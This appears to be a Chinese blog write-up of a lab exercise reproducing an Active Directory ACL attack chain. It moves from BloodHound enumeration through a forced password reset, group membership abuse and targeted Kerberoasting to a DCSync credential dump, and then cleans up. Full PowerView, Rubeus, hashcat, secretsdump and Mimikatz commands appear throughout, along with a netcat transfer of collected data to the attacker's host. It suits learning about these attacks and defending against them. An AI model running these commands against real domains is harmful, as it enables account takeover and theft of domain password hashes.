jzhoucdc
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

记录自己在学习AD域ACL攻击中的一个靶机案例复现,展示了从ACL的枚举到利用,一个完整的攻击链。
1. ACL概述
ACL全名为访问控制列表(Access Control List),每一个ACL由多个ACE(访问控制条目,Access Control Entries)构成。ACL主要为两大类:自主访问控制列表(DACL,Discretionary Access Control List)和系统访问控制列表 (SACL,System Access Control Lists) 。
AD域中包含大量的ACE权限设置,从攻击者的视角来看,对以下几种比较感兴趣:
- GenericAll: 对象的全部权限
- GenericWrite: 编辑对象的某些属性
- WriteOwner: 更改对象的所有权
- WriteDACL: 编辑对象的ACE并应用
- AllExtendedRights: 更改密码、重置密码等
- ForceChangePassword: 更改对象密码
- Self (Self-Membership): 将自己加入一个组
2. ACL枚举
背景介绍
1.目前拿到初始凭证进入AD域环境,通过Responder获取到wley用户的NTLMv2 哈希值,并通过Hashcat成功破解得到密码明文,并且发现wley用户有RDP的权限。
2.攻击目标是域中另外一个用户adunn,经过后续的枚举发现该用户有DCSync的权限。
通过Bloodhound枚举ACL
先将SharpHound上传到主机,准备收集信息
python3 -m http.server 80
iwr -uri 10.10.14.222/SharpHound.exe -o C:\Users\wley\SharpHound.exe
然后使用SharpHound收集AD域信息
.\SharpHound.exe -c all
再使用nc.exe将收集的压缩包转移到kali
nc.exe 10.10.14.222 4444 < 20250326061514_BloodHound.zip
nc -lvnp 4444 > 20250326061514_BloodHound.zip
这时候,打开Bloodhound界面,导入压缩包。进行枚举工作:先选择wley用户,并将wley用户设置为起点(starting node)。然后我们查看出站控制权限(Outbound Control Rights)
点击First Degree Object Control,会发现wley用户对Damundsen用户有ForceChangePassword权限,该权限的具体利用方法可以点击help,进行查看。
点击Transitive Object Control,可以看见Bloodhound展示了一条利用攻击链。
接着,点击adunn用户,通过上面的一样的方法步骤枚举ACL,发现该用户具有DCSync权限。
3. ACL攻击链利用
攻击链利用步骤思路:
1. 使用wley用户更改damundsen用户的密码
2. 以damundsen 用户身份,利用GenericWrite权限将damundsen用户添加到HELP DESK LEVEL 1组中
3. 利用INFORMATION TECHNOLOGY嵌套组的权限,使用GenericAll来控制 adunn 用户
第一步:修改damundsen用户的密码
如果没有以wley用户进行rdp登陆,需要进行wley用户的身份验证,如果已经使用wley进行Rdp登陆,则可以跳过这个步骤
$SecPassword = ConvertTo-SecureString 'transporter@4' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
使用Set-DomainUserPassword PowerView函数来修改damundsen用户密码
Import-Module .\PowerView.ps1
$damundsenPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
密码修改成功,将密码修改成‘Password123!’
第二步:将damundsen用户添加进Help Desk Level 1组
针对群组的GenericWrite权限允许修改用户组的成员资格。当然,在我们将用户damundsen添加进Help Desk Level 1组之前,我们可以确认一下Help Desk Level 1组的成员,可以用BloodHound快速查看:
然后可以使用Add-DomainGroupMember函数进行组成员的添加
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
根据返回的信息,成功将将damundsen用户添加进Help Desk Level 1组,我们可以使用PowerView来确认一下现在Help Desk Level 1有哪些成员:
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
可以看见damundsen用户。
第三步:利用GenericAll权限
我们可以直接修改该成员的密码,但是根据客户和生产环境要求,这里假定adunn用户是管理员账号,且根据客户要求不允许进行密码强制修改。所以进行Targeted Kerberoast攻击,思路是通过修改该账户的 servicePrincipalName属性来创建一个伪造的SPN,然后通过 Kerberoast 获取 TGS 票据,然后使用 Hashcat进行哈希值破解。
1.创建一个伪造的SPN
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='nonexistent/BLAHBLAH'} -Verbose
2. 进行Kerberoasting攻击
有很多方法可以进行Kerberoasting攻击,这里使用Rubeus工具
.\Rubeus.exe kerberoast /user:adunn /nowrap
3.将hash值保存到本地进行破解
hashcat -m 13100 ad_hash /usr/share/wordlists/rockyou.txt
成功破解到密码明文,我们可以用adunn的身份进行验证,然后执行DCSync攻击。
4. DCSync攻击
什么是DCSync?
DCSync 是一种通过使用域控制器用于复制域数据的内置目录复制服务远程协议。
DCSync is a technique for stealing the Active Directory password database by using the built-in Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data
要执行该攻击,我们必须控制一个具有执行域复制权限(domain replication rights)的账户(设置了Replicating Directory Changes和Replicating Directory Changes All permissions set权限的用户)。域/企业管理员和默认域管理员默认拥有此权限。
方法一:使用impacket-secretsdump
impacket-secretsdump INLANEFREIGHT/adunn@10.129.101.170
可以加入选项:
1. -just-dc-ntlm:只需要 NTLM 哈希值。
2. -just-dc-user <USERNAME> : 只提取特定用户的数据。
3. -pwd-last-set : 查看每个账户密码的最后更改时间。
4. -history: 转储密码历史记录。
5. -just-dc : 包含 NTLM 哈希值和Kerberos 密钥
方法二:使用Mimikatz
需要以下条件:
1. 需要在特定账号环境下运行,比如本地管理员
2. 需要在DCSync 权限的用户环境中运行,我们可以使用 runas.exe切换到adunn用户环境
runas /netonly /user:INLANEFREIGHT\adunn powershell
然后,使用Mimikatz执行命令:
privilege::debug
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
5. 清理环境
在完成攻击后,需要清理还原环境,当然顺序很重要,按照如下步骤进行:
第一步,删除在adunn用户创建的伪造 SPN
Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
第二步,从Help Desk Level 1组中移除damundsen用户
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
第三步,将 Damundsen 用户的密码设回其原始值
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)